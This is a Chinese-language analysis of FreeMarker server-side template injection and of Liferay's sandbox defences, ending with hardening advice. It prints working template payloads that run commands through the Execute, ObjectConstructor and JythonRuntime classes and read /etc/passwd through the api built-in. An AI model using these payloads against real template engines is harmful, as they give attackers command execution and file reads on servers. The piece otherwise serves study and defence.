逃逸安全的模板沙箱(一):FreeMarker(上)
字数 2291 2025-08-15 21:31:50

FreeMarker模板注入漏洞分析与防御

一、FreeMarker基础

1.1 FreeMarker简介

FreeMarker是一款模板引擎,用于基于模板和动态数据生成输出文本(HTML网页、电子邮件、配置文件等)。其模板语言称为FreeMarker Template Language (FTL)。

1.2 FTL指令规则

FreeMarker有三种FTL标签:

  1. 开始标签:<#directivename parameter>
  2. 结束标签:</#directivename>
  3. 空标签:<#directivename parameter/>

用户指令使用@代替#

1.3 assign指令

用于创建或替换顶层变量:

<#assign name1=value1 name2=value2 ... nameN=valueN>
<#assign same as above... in namespacehash>
<#assign name> capture this</#assign>
<#assign name in namespacehash> capture this</#assign>

示例:

<#assign seq = ["foo", "bar", "baz"]>

1.4 插值

用于插入表达式值并转换为文本:

  1. 通用插值:${expr}
  2. 数字格式化插值:#{expr}

示例:

${100 + 5} => 105
${seq[1]} => bar

1.5 内建函数

FreeMarker提供大量内建函数,语法为variable_name?method_name

危险内建函数:

  1. api函数

    • 提供访问value的Java API
    • 需要配置api_builtin_enabled=true(2.3.22+默认为false)

    示例:

    <#assign classLoader=object?api.class.protectionDomain.classLoader>
    
  2. new函数

    • 创建实现了TemplateModel接口的变量
    • 存在安全隐患
    • 可通过Configuration.setNewBuiltinClassResolver()限制(2.3.17+)

    示例:

    <#assign ex="freemarker.template.utility.Execute"?new()>
    ${ex("id")}
    

二、FreeMarker初代SSTI漏洞

2.1 api内建函数利用

  1. 获取ClassLoader加载恶意类:

    <#assign classLoader=object?api.class.getClassLoader()>
    ${classLoader.loadClass("our.desired.class")}
    
  2. 通过URI访问任意URL:

    <#assign uri=object?api.class.getResource("/").toURI()>
    <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
    <#assign is=input?api.getInputStream()>
    FILE:[<#list 0..999999999 as _>
      <#assign byte=is.read()>
      <#if byte == -1>
        <#break>
      </#if>
      ${byte},
    </#list>]
    

2.2 new内建函数利用

利用freemarker.template.utility包中的类:

  1. Execute类:

    <#assign value="freemarker.template.utility.Execute"?new()>
    ${value("calc.exe")}
    
  2. ObjectConstructor类:

    <#assign value="freemarker.template.utility.ObjectConstructor"?new()>
    ${value("java.lang.ProcessBuilder","calc.exe").start()}
    
  3. JythonRuntime类:

    <#assign value="freemarker.template.utility.JythonRuntime"?new()>
    <@value>import os;os.system("calc.exe")</@value>
    

三、FreeMarker安全机制

3.1 防御措施

  1. api函数防御

    • 设置api_builtin_enabled=false(默认)
    • 内置危险方法黑名单unsafeMethods.properties
  2. new函数防御

    • 提供三种预定义解析器:
      • UNRESTRICTED_RESOLVER:简单调用ClassUtil.forName(String)
      • SAFER_RESOLVER:禁止解析ObjectConstructorExecuteJythonRuntime
      • ALLOWS_NOTHING_RESOLVER:禁止解析任何类
    • 支持自定义解析器(实现TemplateClassResolver接口)

3.2 危险方法黑名单

unsafeMethods.properties文件包含:

java.lang.Object.wait()
java.lang.Object.wait(long)
java.lang.Object.wait(long,int)
java.lang.Object.notify()
java.lang.Object.notifyAll()
java.lang.Class.getClassLoader()
java.lang.Class.newInstance()
java.lang.Class.forName(java.lang.String)
java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader)
java.lang.reflect.Constructor.newInstance([Ljava.lang.Object;)
...

四、Liferay FreeMarker安全机制分析

4.1 安全组件

  1. RestrictedLiferayObjectWrapper

    • 扩展FreeMarker沙箱
    • 增强可访问对象控制
    • 限制不安全配置
  2. 暴露对象

    • 通过模板API暴露大量对象(154个)
    • 部分对象被沙箱限制

4.2 关键对象示例

调试过程中发现的有用对象:

  • getterUtil:各种get方法
  • saxReaderUtil:存在read方法,可传入File/URL
  • expandoValueLocalService:代理对象,方法名和参数可控
  • realUser/user:敏感信息
  • unicodeFormatter:编码转换
  • urlCodec:URL编解码
  • jsonFactoryUtil:JSON相关方法

4.3 类加载防御机制

  1. Class对象获取限制

    • 黑名单包含java.lang.Class
    • 尝试通过Class[]Map<?,Class>绕过
  2. ClassLoader限制

    • java.lang.ClassLoader也在黑名单中

4.4 new函数防御

LiferayTemplateClassResolver

  1. 直接封禁ExecuteObjectConstructor
  2. 黑名单类判定
  3. 白名单校验(默认为空)

4.5 JSON反序列化防御

  1. JSONFactoryImpl

    • 包含serializedeserialize方法
    • deserialize方法会进行白名单校验
  2. 白名单类

    json.deserialization.whitelist.class.names=\
      com.liferay.portal.kernel.cal.DayAndPosition,\
      com.liferay.portal.kernel.cal.Duration,\
      com.liferay.portal.kernel.cal.TZSRecurrence,\
      com.liferay.portal.kernel.messaging.Message,\
      com.liferay.portal.kernel.model.PortletPreferencesIds,\
      com.liferay.portal.kernel.security.auth.HttpPrincipal,\
      com.liferay.portal.kernel.service.permission.ModelPermissions,\
      com.liferay.portal.kernel.service.ServiceContext,\
      com.liferay.portal.kernel.util.GroupSubscriptionCheckSubscriptionSender,\
      com.liferay.portal.kernel.util.LongWrapper,\
      com.liferay.portal.kernel.util.SubscriptionSender,\
      java.util.GregorianCalendar,\
      java.util.Locale,\
      java.util.TimeZone,\
      sun.util.calendar.ZoneInfo
    
  3. 白名单注册防御

    • LiferayJSONDeserializationWhitelist加入黑名单

五、防御建议

  1. 配置设置

    • 保持api_builtin_enabled=false
    • 使用SAFER_RESOLVER或更严格的解析器
  2. 黑白名单

    • 维护严格的类和方法黑名单
    • 限制JSON反序列化的白名单
  3. 对象暴露控制

    • 严格控制通过模板API暴露的对象
    • 对敏感对象进行包装和过滤
  4. 版本更新

    • 及时更新FreeMarker和Liferay版本
    • 应用最新的安全补丁
  5. 自定义安全机制

    • 实现自定义的TemplateClassResolver
    • 扩展RestrictedLiferayObjectWrapper的安全检查

六、总结

FreeMarker模板注入漏洞主要源于其强大的功能特性(如api和new内建函数)和暴露的模板API对象。Liferay通过多层次的安全机制(黑白名单、对象包装、解析器限制等)构建了较为完善的防御体系,但仍需注意潜在的安全弱点。开发者应充分了解这些安全机制,合理配置并扩展,以确保模板引擎的安全使用。

FreeMarker模板注入漏洞分析与防御 一、FreeMarker基础 1.1 FreeMarker简介 FreeMarker是一款模板引擎,用于基于模板和动态数据生成输出文本(HTML网页、电子邮件、配置文件等)。其模板语言称为FreeMarker Template Language (FTL)。 1.2 FTL指令规则 FreeMarker有三种FTL标签: 开始标签: <#directivename parameter> 结束标签: </#directivename> 空标签: <#directivename parameter/> 用户指令使用 @ 代替 # 。 1.3 assign指令 用于创建或替换顶层变量: 示例: 1.4 插值 用于插入表达式值并转换为文本: 通用插值: ${expr} 数字格式化插值: #{expr} 示例: 1.5 内建函数 FreeMarker提供大量内建函数,语法为 variable_name?method_name 。 危险内建函数: api函数 : 提供访问value的Java API 需要配置 api_builtin_enabled=true (2.3.22+默认为false) 示例: new函数 : 创建实现了 TemplateModel 接口的变量 存在安全隐患 可通过 Configuration.setNewBuiltinClassResolver() 限制(2.3.17+) 示例: 二、FreeMarker初代SSTI漏洞 2.1 api内建函数利用 获取ClassLoader加载恶意类: 通过URI访问任意URL: 2.2 new内建函数利用 利用 freemarker.template.utility 包中的类: Execute类: ObjectConstructor类: JythonRuntime类: 三、FreeMarker安全机制 3.1 防御措施 api函数防御 : 设置 api_builtin_enabled=false (默认) 内置危险方法黑名单 unsafeMethods.properties new函数防御 : 提供三种预定义解析器: UNRESTRICTED_RESOLVER :简单调用 ClassUtil.forName(String) SAFER_RESOLVER :禁止解析 ObjectConstructor 、 Execute 和 JythonRuntime ALLOWS_NOTHING_RESOLVER :禁止解析任何类 支持自定义解析器(实现 TemplateClassResolver 接口) 3.2 危险方法黑名单 unsafeMethods.properties 文件包含: 四、Liferay FreeMarker安全机制分析 4.1 安全组件 RestrictedLiferayObjectWrapper : 扩展FreeMarker沙箱 增强可访问对象控制 限制不安全配置 暴露对象 : 通过模板API暴露大量对象(154个) 部分对象被沙箱限制 4.2 关键对象示例 调试过程中发现的有用对象: getterUtil :各种get方法 saxReaderUtil :存在read方法,可传入File/URL expandoValueLocalService :代理对象,方法名和参数可控 realUser / user :敏感信息 unicodeFormatter :编码转换 urlCodec :URL编解码 jsonFactoryUtil :JSON相关方法 4.3 类加载防御机制 Class对象获取限制 : 黑名单包含 java.lang.Class 尝试通过 Class[] 或 Map<?,Class> 绕过 ClassLoader限制 : java.lang.ClassLoader 也在黑名单中 4.4 new函数防御 LiferayTemplateClassResolver : 直接封禁 Execute 和 ObjectConstructor 黑名单类判定 白名单校验(默认为空) 4.5 JSON反序列化防御 JSONFactoryImpl : 包含 serialize 和 deserialize 方法 deserialize 方法会进行白名单校验 白名单类 : 白名单注册防御 : 将 LiferayJSONDeserializationWhitelist 加入黑名单 五、防御建议 配置设置 : 保持 api_builtin_enabled=false 使用 SAFER_RESOLVER 或更严格的解析器 黑白名单 : 维护严格的类和方法黑名单 限制JSON反序列化的白名单 对象暴露控制 : 严格控制通过模板API暴露的对象 对敏感对象进行包装和过滤 版本更新 : 及时更新FreeMarker和Liferay版本 应用最新的安全补丁 自定义安全机制 : 实现自定义的 TemplateClassResolver 扩展 RestrictedLiferayObjectWrapper 的安全检查 六、总结 FreeMarker模板注入漏洞主要源于其强大的功能特性(如api和new内建函数)和暴露的模板API对象。Liferay通过多层次的安全机制(黑白名单、对象包装、解析器限制等)构建了较为完善的防御体系,但仍需注意潜在的安全弱点。开发者应充分了解这些安全机制,合理配置并扩展,以确保模板引擎的安全使用。